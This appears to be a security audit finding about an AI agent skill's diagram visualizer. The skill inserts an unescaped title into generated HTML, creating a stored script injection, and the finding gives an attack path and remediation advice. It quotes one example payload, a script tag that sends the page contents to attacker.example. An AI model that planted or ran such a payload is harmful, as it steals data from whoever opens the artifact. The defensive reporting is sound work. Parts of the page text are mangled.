T09 · Insecure Skill Coding Practices
Error
- Location
scripts/visualizer.py:430- Finding
Stored HTML and JavaScript Injection Through an Unescaped Diagram Title
- Content
View full analysis
{title} body {{ font-family: sans-serif; padding: 20px; }} .mxgraph {{ border: 1px solid #ddd; background: #fff; }}{title}
""" ``` ### Technical Analysis The `title` argument is interpolated directly into both the HTML `` element and the document body without HTML escaping. Although the Draw.io JSON data is escaped with `html.escape`, the same protection is not applied to the title. An attacker-controlled title can close the existing element and inject active HTML. For example: ```html </h2><script>fetch('https://attacker.example/collect?data=' + encodeURIComponent(document.documentElement.innerHTML))</script><h2> ``` The resulting payload is stored in the generated HTML artifact and executes when the artifact is opened in a JavaScript-enabled browser. Escaping the XML configuration does not prevent this attack because the vulnerable title is inserted into separate HTML contexts. ### Attack Path 1. An attacker supplies or influences the title of a requested diagram. 2. The title contains closing HTML tags followed by a script or another active HTML payload. 3. The Skill calls `VisualizerTools.render_drawio_to_html()` with that title. 4. The method inserts the title into the generated document without escaping. 5. The generated HTML file is returned or shared as a diagram artifact. 6. A victim opens the artifact in a browser. ...[truncated 732 chars]- Remediation
View remediation
{safe_title}{safe_title}
``` 2. Prefer a template engine configured with automatic HTML escaping rather than manually constructing HTML with f-strings. 3. Add a restrictive Content Security Policy. If the viewer is bundled locally, a policy can avoid allowing arbitrary inline scripts: ```html ``` 4. Add tests covering closing tags, script elements, event-handler attributes, encoded markup, quotes, and special characters. 5. Treat all user-provided labels, titles, and metadata as untrusted even when the primary diagram data is separately encoded. ]]>